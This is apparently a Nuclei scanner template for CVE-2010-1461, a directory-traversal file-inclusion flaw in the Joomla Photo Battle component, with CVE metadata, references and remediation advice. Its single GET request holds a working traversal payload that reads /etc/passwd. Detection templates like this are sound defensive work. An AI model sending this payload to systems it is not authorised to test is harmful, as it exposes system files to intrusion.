id: CVE-2010-1461

info:
  name: Joomla! Component Photo Battle 1.0.1 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the Photo Battle (com_photobattle) component 1.0.1 for Joomla! allows remote attackers to read arbitrary files via the view parameter to index.php.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, remote code execution, and compromise of the Joomla! application.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12232
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1461
    - http://www.exploit-db.com/exploits/12232
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2010-1461
    cwe-id: CWE-22
    epss-score: 0.00477
    epss-percentile: 0.75733
    cpe: cpe:2.3:a:gogoritas:com_photobattle:1.0.1:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: gogoritas
    product: com_photobattle
  tags: cve,cve2010,joomla,lfi,photo,edb,gogoritas

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_photobattle&view=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100f83391fd2ad2cb8b25f965b561986f18b1b593d1171ba681b7d5b224c20e2de9022100e69ecec1bbc14e0c0dc5f383fefa2001b8dece302019fcf38a6a1c1ed62fefb2:922c64590222798bb761d5b6d8e72950